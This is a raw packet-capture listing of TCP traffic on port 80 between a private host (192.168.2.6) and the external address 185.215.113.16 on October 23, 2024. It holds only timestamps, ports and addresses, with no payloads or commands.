Oct 23, 2024 17:51:27.781637907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781651020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781661034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781667948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.781673908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781687021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781697035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.781713009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.781733036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.781841993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781941891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781954050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781984091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781996012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.781996012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782008886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782021046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782023907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782032013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782044888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782044888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782058954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782068968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782080889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782098055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782146931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782176971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782188892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782203913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782222033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782238007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782249928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782260895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782285929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782300949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782318115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782335997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782339096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782347918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782375097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782429934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782443047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782454014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782466888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782466888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782490015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782505989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782522917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782560110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782561064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782578945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782592058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782596111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782602072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782639027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782639980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782649040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782658100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782670975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782680035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782681942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782696009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782718897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782747030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782758951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782768965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782780886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782800913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782819986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782821894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782846928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782860041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782869101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782882929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782886982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782907963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782910109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782919884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782932043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.782941103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.782965899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783031940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783050060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783061981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783072948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783085108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783087969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783111095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783138037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783173084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783214092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783226013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783243895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783255100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783261061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783273935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783283949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.783296108 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.783333063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784071922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784085989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784097910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784121990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784167051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784178972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784189939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784202099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784214020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784216881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784229994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784246922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784255981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784264088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784276962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784288883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784301043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784307003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784312963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784321070 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784322977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784348965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784348965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784365892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784377098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784389019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784390926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784418106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784420013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784430027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784441948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784455061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784461975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784466028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784476995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784483910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784488916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784504890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784518957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784641027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784651995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784662962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784687996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784758091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784820080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784826040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784833908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784846067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784856081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.784883022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784902096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.784986019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.847068071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.847085953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.847096920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.847107887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.847121000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.847147942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.847203970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.856730938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856741905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856751919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856777906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856784105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.856789112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856801033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.856823921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.897795916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.897813082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.897826910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.897839069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.897860050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.898359060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898369074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898380995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898411036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898422956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898435116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.898437023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898449898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898469925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.898472071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898483992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898489952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.898511887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.898538113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.898566008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899051905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899064064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899085999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899104118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899121046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899131060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899144888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899157047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899167061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899173021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899178982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899184942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899189949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899195910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899229050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899236917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899250984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899260044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899271965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899297953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899359941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899370909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899385929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899395943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899404049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899421930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899426937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899432898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899451971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899456978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899471045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899480104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899483919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899507999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899511099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899523020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899533987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899547100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899561882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899593115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899616003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899626017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899655104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899682999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899693966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899703979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899717093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899730921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899755001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899765968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899799109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899808884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899826050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899866104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899878025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899889946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899908066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899930000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.899957895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899986982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.899997950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900003910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900027990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900028944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900041103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900070906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900073051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900080919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900099993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900109053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900115013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900121927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900135040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900137901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900172949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900199890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900211096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900226116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900239944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900243998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900262117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900274038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900276899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900285959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900298119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900300980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900326014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900338888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900403976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900417089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900434017 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900441885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900454044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900465012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900480986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900482893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900495052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900504112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900528908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900543928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900554895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900566101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900582075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900671005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900681019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900691032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900700092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900702000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900715113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900722980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900747061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.900758028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900768042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900779963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.900806904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901216984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901227951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901237965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901267052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901281118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901350021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901361942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901380062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901393890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901410103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901415110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901426077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901432037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901437998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901448965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901454926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901459932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901479006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901489019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901513100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901524067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901525021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901549101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901614904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901624918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901637077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901649952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901660919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901683092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.901721954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901778936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.901788950 CEST	80	49763	185.215.113.16	192.168.2.6
